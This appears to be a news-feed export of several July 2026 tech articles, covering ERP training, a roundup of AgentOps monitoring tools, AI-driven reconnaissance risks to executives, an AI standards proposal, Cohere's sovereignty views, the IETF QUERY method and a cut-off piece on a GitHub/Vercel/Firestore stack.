This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.

There is also an ownership dimension that is easy to underestimate. Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.

I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.

In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.

How to build internal training capability before go-live

The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.

Identify departmental experts early

Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.

Involve them in the implementation, not just the training

The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.

Design training around the job, not the system

Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.

Plan for post-go-live support, not just pre-go-live training

The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.

None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.

The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

19 AgentOps tools for monitoring AI activity, issues, and costs

Thu, 16 Jul 2026 12:09:36 +0200

With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “AIOps,” “AgentOps,” and sometimes “agent observability.”

Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.

Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.

But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.

Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.

Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?

The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.

AgentOps.ai

When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from AgentOps.ai records events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.

Pricing: Starts at $40 per month plus usage costs at $0.20 per 1M tokens

Standout feature: Replay analytics with “time-travel debugging”

Best suited for: Complex agent debugging

Arize Phoenix

Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. Phoenix from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.

Pricing: Small free tier; Pro plan starts at $50 per month plus costs tied to events

Standout feature: LLM-as-a-Judge metrics for tracking quality

Best suited for: Teams focusing on iterating for accuracy and quality

BigPanda

BigPanda has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.

Pricing: “Value-based” table on request

Standout feature: Automated triage for faster response

Best suited for: Large teams seeking to reduce alert fatigue from large customer base

Braintrust

Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. Braintrust watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”

Pricing: Free starter tier; Pro plan starts at $249 with some usage-based costs covered

Standout feature: Highly scalable trace ingestion

Best for: Teams developing strong guardrails through continuous testing

Chronicle Labs

When it’s time to release a new version of an agent into the wild, the platform from Chronicle Labs specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.

Pricing: On request

Standout feature: Back-testing options for complex testing regimes

Best for: Teams chasing strong models with good fidelity to reality

Comet Opik

Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. Opik from Comet is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.

Pricing: Free tiers for open source and small projects; Pro plan starts at $19 per month with usage limits

Standout feature: Auto-scoring with 30-plus metrics for evaluating traces

Best for: Teams focusing on RAG and agentic workflows

Datadog

DevOps teams that rely on Datadog to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.

Pricing: Small free tier with multiple paid tiers for various levels of enterprise monitoring

Standout feature: Large installed base with broad focus on more than LLMs

Best for: Large enterprise teams working with established infrastructure

Dynatrace

For more than 20 years, Dynatrace has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.

Pricing: Plans start at $7 per month with larger plans designed for full enterprise monitoring

Standout feature: High level of autonomous monitoring designed for large installations

Best for: Complex, hybrid environments mixing LLMs with traditional services

Galileo

Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. Galileo offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.

Pricing: Small free tier; Pro plans start at $50 per month with usage-based limits and costs

Standout feature: Real-time guardrails for deployed agents

Best for: Security-conscious installations that need to defend against hallucination and data leakage

Grafana Labs

Long the go-to source for open source telemetry, Grafana Labs now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.

Pricing: Basic free tier; Pro plan begins at $19 per month, includes better retention and some usage-based fees

Standout feature: Full-stack tool with fully integrated LLM tools

Best for: Large, enterprise-scale system adding AI

Helicone

Sometimes shoehorning in another tool into the chain can be tricky. Helicone is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.

Pricing: Small free tier; Pro plan starts at $79 per month, includes features such as team collaboration and improved querying

Standout feature: Proxy-based integration

Best for: Development teams who want to add better monitoring features quickly

Laminar

Tracking agents in development and production means building strong storehouses of data enumerating what happened. Laminar works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.

Pricing: Small free tier; “Hobby” tier that adds more features at $30; Pro level starts at $150 per month

Standout feature: Open-source license makes self-hosting a viable option

Best for: Teams fully able to leverage open-source responsibilities

LangChain LangSmith

Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from LangChain traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.

Pricing: Free for solo developers; Pro teams start at $39 per person per month

Standout feature: Systematic approach to regression testing of prompts

Best for: Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior

Lunary

Watching the user experience is essential for building AI applications such as chatbots and assistants. Lunary offers a proxy that traces all interactions and then builds analytical dashboards for measuring metrics such as user satisfaction or model costs. One common usage is finding frequent topics and looking at the responses to ensure they deliver. When prompts aren’t perfect, Lunary lets teams iterate on the prompt text until the right answers are coming out. Its proxy structure and common API format enables Lunary to promise to work with “any LLM, any framework.”

Pricing: Free tier; Pro plan starts at $20 per month

Standout feature: Deep integration with humans for reviewing and optimizing results

Best for: Startups focused on rapid prompt innovation

NewRelic

The platform that began tracking performance of some web applications is now powerful enough to track the flows of data through complex agentic ecologies. NewRelic’s AI-driven monitoring watches for golden signals that can indicate misbehavior or worse throughout the entire lifecycle. It tracks every detail of the interactions through protocols such as MCP and then makes this available to the AI engineers responsible for performance. The dashboard provides the insights necessary to watch for toxic behavior, overt bias, drift, and overblown hallucinations. Predicting and maybe even controlling the cost is also a growing role as tokenomics becomes as important as response time.

Pricing: Free tier; Pro plan fees available through website

Standout feature: Full-stack support with hundreds of integrations with other tools

Best for: Established enterprise teams mixing in AI

Nova AI Ops

The goal of Nova AI Ops is to deliver a team of agents that watch over a cloud and make it, at least partially, self-healing. Each agent uses a mixture of predictive AI and machine learning to watch cloud telemetry reports for anomalies. Then they calculate the “blast radius” and decide whether this is a problem that can be fixed automatically “while you sleep” or saved for the human supervisors. These tools are aimed not just on LLM operations but on the stack as a whole.

Pricing: Small free tier; Standard pricing begins at $40 per user per month with usage billing

Standout feature: Focus on software reliability engineering helps teams deliver stable stacks

Best for: Teams that want to integrate LLMs into incident response and stability management

Splunk

The platform that began delivering smart logging is now fully AI capable, offering solutions that can watch over agents with much the same way that it continues to track microservices. Splunk now includes a fairly large amount of predictive AI for learning from the information in the logs and then turning this learning into fast solutions. This AI assistant can track deployed AI models connected by protocols such as MCP and watch over behavior while delivering the ability for users to drill down and explore what’s working and what’s failing. Their AI Canvas is meant to offer a central hub where the AI scientists can track both the local behavior of the models as well as their role in a larger data ecosystem.

Pricing: Activity-based pricing tracks usage of LLM backends and storage

Standout feature: Ready to scale to large enterprise stacks

Best for: Teams with legacy systems that are folding in agentic options

SuperPenguin

One of the most important parts of an AI service is the bill. SuperPenguin is a product designed to track consumption and make predictions so that the CFO won’t be surprised. The goal is to provide solid estimates about the total cost of each product by allocating costs to customers, features, and teams. If there’s a sudden shift, a “spike detector” will raise an alarm so that dev teams can ensure that the AI spend is worth it.

Pricing: Small free tier for experimentation; Growth tier for teams, starting at $30 per month; Pro tier offers deeper options starting at $200 per month

Standout feature: Strong accounting with invoice reconciliation and PR-level usage tracking

Best for: Teams that need precise cost accounting

Vellum

Prompt engineers spend time fussing over the details of tweaking, improving, and enhancing the words that guide the LLM. Vellum started as a company that would provide the pipeline so that you could manage and improve the prompts that ran again and again. Now the system is growing more powerful, offering a higher level of automation that lets you meta-manage the prompt chain. They’ve also begun marketing it as a form of personal assistant with pre-built connections to many of the major services such as Gmail. Its llm-cost-optimizer can juggle multiple options while finding a cheaper way to execute a prompt, a process the company suggests can save 60% or more.

Pricing: Open-source free tier; Pro plan starts at $35 per month

Standout feature: Focus on multi-model pipelines for true agentic solutions

Best for: Product teams with complex prompt engineering workflows

The executive profile your security team isn’t defending

Thu, 16 Jul 2026 11:09:26 +0200

A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.

What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.

What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.

AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.

The reconnaissance phase has effectively collapsed

Traditional OSINT work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.

AI aggregation removes all three constraints.

The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.

The MGM Resorts incident reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.

As the Verizon Data Breach Investigations Report consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.

The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.

What should CIOs and CISOs do about it?

The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.

What follows is how I advise clients to structure this work.

Monitor regularly

The starting point is establishing visibility into what AI tools are actually returning about your executive population. Not a one-time audit conducted during a board meeting and forgotten. The profiles shift continuously as new content is indexed, old content is reweighted and the models are updated.

Assign ownership to run structured queries across the major platforms, including ChatGPT, Gemini, Perplexity and the Microsoft Copilot stack, on a regular cadence. Document what you find and track changes. Treat the output the same way you would treat a vulnerability scan as something to be prioritized and acted upon.

Reduce the available attack surface

Work with each executive to identify content that expands their AI-indexed profile without serving any legitimate business purpose. This includes legacy conference bios that contain personal details, social posts that reveal schedule patterns or family context and board announcements that, in aggregate, map an executive’s full professional network. For some of this content, removal is possible and worth pursuing with a targeted effort.

The more important conversation is around future behavior. Executives who habitually overshare on LinkedIn or in conference panels need to understand, concretely, what that sharing enables.

Family member exposure is a consistent blind spot. An attacker who cannot pressure an executive directly may look for leverage through a spouse, a sibling or a child. Executives rarely consider their family members’ public digital footprint as part of their own security posture. It is.

Shape the narrative where reduction isn’t possible

Public company executives, board members with mandatory disclosure obligations and individuals whose public profiles are central to their organizations’ credibility cannot simply go dark.

The objective shifts from reduction to shaping in these cases. The goal is to ensure that what AI tools synthesize from the indexed content is professionally bound and does not inadvertently surface high-value pretext material. This is a joint exercise between security and communications, with security defining risk boundaries and communications executing the strategy.

Train executives on what their own profile looks like

The most effective single intervention I have seen in executive briefings is also the simplest. Open a browser and query an AI platform on the executive in the room. Let them see the output. The reaction is consistent. They are surprised by the synthesis, uncomfortable with specific details that surface and immediately more engaged with the rest of the conversation than they were before.

Abstract threat briefings about social engineering risks rarely land with senior leaders who feel they understand their own security position. Demonstrated evidence of their AI-mediated profile lands every time. As covered in the context of executive-targeted attacks, awareness is a prerequisite for the behavior change that makes protection programs effective.

Integrate this into the executive protection program

This work belongs alongside endpoint security, credential management and physical protection in a unified executive protection program. When it remains a communications function, it lacks the reporting structure, budget authority and operational discipline that security work requires.

Assign an owner with a security mandate. Include AI exposure in the risk register. Report on it at the same cadence as other executive protection metrics. The organizations that have done this well have not created a separate program for it. They have extended an existing one.

What effective executive protection programs now include

The organizations that have integrated AI exposure into their executive protection work share a few characteristics that distinguish them from those still treating it as a communications edge case.

They treat the executive’s public information footprint as a managed attack surface with a named accountable party. Someone is responsible for it, the same way someone is responsible for endpoint patching or identity governance.
They include AI-assisted reconnaissance as a starting condition in red team exercises. Before any social engineering simulation begins, the red team runs the same queries an attacker would run. The pretext they design is based on what those queries return.
Their executive protection briefings include an AI profile review as a standing agenda point. Physical security considerations, credential exposure and public information risk are reviewed together because they are connected. An attacker who knows an executive’s schedule from their public-facing content can time a credential reset attempt or a vishing call with equal precision.

The executive I reviewed several years ago had no idea what his AI-indexed profile contained or what it enabled. Most of the executives I work with today are in the same position. By the time you finish reading this, it is likely those queries have already been run on someone in your organization. The question is whether your program is positioned to detect it and respond in time.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Google Maps wird schlau: KI plant künftig die gesamte Route für euch

Thu, 16 Jul 2026 09:56:42 +0200

Google Maps kann schon seit vielen Jahren unsere Routen planen, aber bislang lag der Fokus auf dem Fortbewegungsmittel und auf die bevorzugte Reiseart, nämlich maximal…

Dieser Artikel Google Maps wird schlau: KI plant künftig die gesamte Route für euch erschien zuerst auf SmartDroid.de.

DeepMind CEO again pushes for a frontier AI standards body

Wed, 15 Jul 2026 23:01:43 +0200

Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security.

But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.

Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.

This is not the first time Hassabis has expressed worries about AGI. He has already worked on a US government initiative evaluating AI safety, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”

The rest of the world may have concerns

Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.

And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries.

He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”

Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.

Some love the proposal

An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.

For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.

DeepMind CEO again pushes for a frontier AI standards body

Wed, 15 Jul 2026 23:01:42 +0200

But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.

The rest of the world may have concerns

Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.

And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries.

He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”

Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.

Some love the proposal

An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.

For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.

This article originally appeared on CIO.com.

Cohere VP says enterprise AI sovereignty requires control of the full agent stack at VB Transform 2026

Wed, 15 Jul 2026 22:02:37 +0200

Hundreds of enterprise leaders and technical experts packed the main ballroom of the luxurious Hotel Nia in Menlo Park this week for VB Transform 2026, the year's preeminent conference on using generative AI agents to drive business outcomes.

Rachad Alao, vice president of product engineering at the rising Canadian enterprise AI startup Cohere, joined VentureBeat CEO and editor-in-chief Matt Marshall for a fireside chat about building agentic systems without surrendering sensitive data, infrastructure control, or the ability to change vendors.

Alao, who previously led responsible AI and trust and safety engineering teams at Google and Meta, argued that AI sovereignty means more than downloading an open model or running an application behind a corporate firewall.

Asked how Cohere defines sovereignty, Alao pointed to organizations operating mission-critical systems, including banks, hospitals and governments.

“It is important to have very tight control on where the data resides, have tight control on the AI,” he said, adding that AI operations should take place in jurisdictions an organization understands or directly controls.

That extends from GPUs and private-cloud infrastructure through governance systems that route requests among models, as well as the connectors, search tools and agent frameworks acting on enterprise data.

“You want to have control on the entire stack,” Alao said.

Agent workloads could outrun falling token prices

Marshall challenged one of the central economic arguments for smaller, locally deployed models: Inference prices continue to fall rapidly, potentially weakening the case for optimizing every token.

Alao countered that total consumption is climbing even faster as enterprises move from relatively simple chatbots to agents that reason through problems, call tools, search internal systems and take multiple steps before returning an answer.

“Your token utilization is going exponentially up, because you’re dealing with more and more complex agentic use cases,” he said. Those workflows require “a lot of processing, thinking, tools interaction” to complete their objectives, he added.

Alao also drew a contrast between providers that bill customers according to token consumption and Cohere’s approach.

“If your whole way of charging customers is for token utilization, you want to maximize token utilization,” he said. “We do not sell our models and our platform that way.”

Instead, Alao said Cohere tries to help enterprises solve their hardest problems privately and securely while reducing unnecessary model usage. His prescription was straightforward: “Use the right model for the task at hand.”

Rather than sending every request to the largest available frontier model, enterprises should route work according to the intelligence required and the sensitivity or regulatory burden attached to the task.

Alao cited an unnamed Canadian bank that uses Cohere’s on-premises models for highly regulated workloads, while sending less sensitive tasks requiring greater intelligence through Cohere’s North platform to larger frontier models.

“So model routing can become super useful,” he said.

Smaller models for most enterprise work

Asked by an audience member how Cohere’s open-source North Mini Code, released last month, could compete against proprietary coding models, Alao acknowledged that larger frontier models may perform somewhat better on the hardest tasks.

But that advantage may not justify using them indiscriminately.

“For 80% of the use cases that they needed, this was a lot more effective, a lot cheaper,” Alao said of developers adopting the model.

Cohere’s North Mini Code runs on a single Nvidia H100 GPU and targets agentic software engineering, including terminal work, code review and tool use.

The company has also released Command A+, a 218-billion-parameter mixture-of-experts model with only 25 billion parameters active during each generation step.

Its compressed four-bit version reduces the hardware required for private deployment, while its Apache 2.0 license gives enterprises broad freedom to operate and modify it.

Search becomes part of the agent

Asked about Cohere’s longstanding work on embeddings and enterprise search, Alao said the field is moving beyond retrieving text and inserting it into a model’s context window.

“Today, the state of the art is around multimodal search,” he said. “It’s beyond just the text modality.”

Search across documents, images and other forms of information is becoming “an integral component of your agentic workflow,” Alao added, with the model deciding when and how to use retrieval like any other tool.

Asked what would persuade enterprises to move beyond bundled AI services from existing cloud providers, Alao returned to data control and portability.

“If you’re interested in sovereignty, you want to have more control on your data,” he said. Cohere’s governance layer, he added, lets customers route traffic to appropriate models, “breaking that vendor lock-in concern that a lot of our customers have.”

IETF publishes QUERY method to allow safe and idempotent HTTP requests

Wed, 15 Jul 2026 17:19:26 +0200

When an HTTP request is too long or complex to be encoded in its URI using GET, developers have long resorted to using the POST method as a workaround. However, this can create issues; while GET requests are defined as safe and idempotent, POST does not necessarily share those characteristics.

To combat the problem, the Internet Engineering Task Force (IETF) has published a proposed standard HTTP request method, QUERY (RFC 10008), which bridges the two functions, taking the best of each.

A safe method is defined as one which is “essentially” read-only, where “the client does not request, and does not expect, any state change on the origin server as a result of applying a safe method to a target resource. Likewise, reasonable use of a safe method is not expected to cause any harm, loss of property, or unusual burden on the origin server,” the IETF standards document states. And when a request is idempotent, no matter how many times it is retried, the intended effect on the server of multiple identical requests with that method is the same as the effect for a single such request.

POST requests do not always fulfill those criteria. But QUERY requests do. The input to the QUERY operation is, like POST, passed as the content of the request, rather than as part of the request URI as it is with GET. Unlike POST, QUERY allows functions such as caching and automatic retries to operate, precisely because it is safe and idempotent.

Read-only in disguise

“RFC 10008 matters because it gives the web’s favorite workaround a protocol identity,” said Sanchit Vir Gogia, chief analyst at Greyhound Research. “Developers have disguised read-only questions as POST commands for two decades; QUERY carries the question in the request body while declaring it safe to retry and cache. The significance is machine-readable intent; retry engines, caches, and autonomous agents act on what a method declares, not on what documentation intends. Under automation, semantics become policy.”

“GET works while a request fits comfortably in a URI, and stops working the moment a developer needs deep filters, long identifier sets or an entire query document,” Gogia explained. “URIs also attract exposure through histories, bookmarks, and access logs, and encoding every input combination into the address quietly turns each permutation into a distinct resource.”

“POST solves the size problem and withholds the promise,” Gogia said. “Its generic semantics admit creation, mutation, and side effect, so no cache, retry engine, or gateway is entitled to assume that a given POST is repeatable or reusable.”

But while QUERY answers the long-running POST-for-search problem, the new method comes with some gotchas. As software engineer Rickvian Aldi noted in a blog post, “The cautious version is: it answers the semantics, not all the deployment work. Front-end code still needs stable query keys. Servers still need validation and cache-control headers. Infrastructure still needs to allow the new method.”

New standards take time

And that will take time; standards are often slow to be adopted. And before QUERY can be widely used, other standards such as the HTML forms standard need updating. That exercise is already in progress by groups such as the Web Hypertext Application Technology Working Group.

“Publishing an RFC as a Proposed Standard doesn’t mean the whole ecosystem supports it the next day,” said open source developer Daniele Teti in a blog post. “It’s the first rung of the IETF standards track: the specification is stable and ready for implementation, but it takes time for browsers, servers, proxies, CDNs, and client libraries to actually adopt it.” No major browsers support QUERY as yet, although, on the server side, Node.js and Go support the method.

Gogia pointed out that the authors of RFC 10008, engineers at Cloudflare, Akamai, and greenbytes, recognize this.

“The retreat route is designed into the standard itself,” Gogia said. “The Location bridge exists so that a QUERY can collapse back into a GET the moment it meets infrastructure that never learned, and the document says as much when it notes that clients can switch to GET for subsequent requests to simplify processing. Read that way, the equivalent resource is less a philosophical concession than a contingency plan, and it is the feature most likely to carry the method through its awkward years.”

Ship faster with GitHub, Vercel, and Firestore

Wed, 15 Jul 2026 17:19:19 +0200

These days, application developers can take their pick from a vast menu of architectural solutions. We can choose from the well-understood to the experimental, and from blended solutions in between. Several powerful middle-ground technologies that emerged during the cloud revolution have really come of age. Here we’ll take a look at putting together three of the most impressive: GitHub, Vercel, and Firestore.

Each of these is an important tool in its own right that can be used to attack specific problems. In combination, they not only meet the needs of several important application scenarios, but they have a superpower—the ability to dramatically shorten the distance between development and deployment.

There is nothing quite as gratifying as putting your hands on just the right mix of tools for a given need.

A ‘no-ops’ stack built for speed

If your primary goal is sheer development velocity, you would be hard-pressed to top this architecture. This “no-ops” stack collapses the distance between your local IDE and a globally distributed production environment. You are essentially trading the overhead of managing VMs and load balancers for the sheer speed of committing code and watching it deploy automatically.

While each component is highly flexible, adopting them requires a specific, event-driven mindset. There are a few finicky bits to manage, mostly around routing environment variables securely and designing around stateless back-end functions. But the constraints are obvious and well-documented.

Before we look more closely, let’s quickly identify the kinds of apps that are a perfect fit here, along with those that are workable and those that really merit a different approach.

The sweet spot (deploy and go): AI-mediated applications, asynchronous game back ends, and real-time collaborative B2B dashboards. This architecture perfectly absorbs the unpredictable latency of LLM APIs and instantly syncs state across multiple clients without requiring you to build custom WebSocket infrastructure.
The middle ground (workable, with trade-offs): Headless e-commerce, moderate IoT telemetry, and apps requiring scheduled batch processing. You will encounter friction if your catalog relies on deeply relational SQL constraints, or if your background reporting jobs take longer than a few minutes and hit serverless execution limits.
The danger zone (look elsewhere): High-frequency trading, fast-paced action multiplayer games, heavy data ETL pipelines, and core financial ledgers. Serverless architectures cannot natively hold open the persistent WebSockets required for twitch-reflex data, and heavy compute tasks will abruptly time out.

We should mention that these categories are not mutually exclusive. Many enterprise applications, such as a full-scale e-commerce platform, straddle these lines. You might use Vercel and Firestore to build a lightning-fast, reactive storefront that handles ephemeral user state like shopping carts, while simultaneously “stitching in” a managed SQL database like Supabase or PlanetScale. This hybrid approach allows you to maintain the relational integrity required for back-office inventory and financial ledgers and pair it with the front-end velocity this stack provides.

GitHub: the bedrock

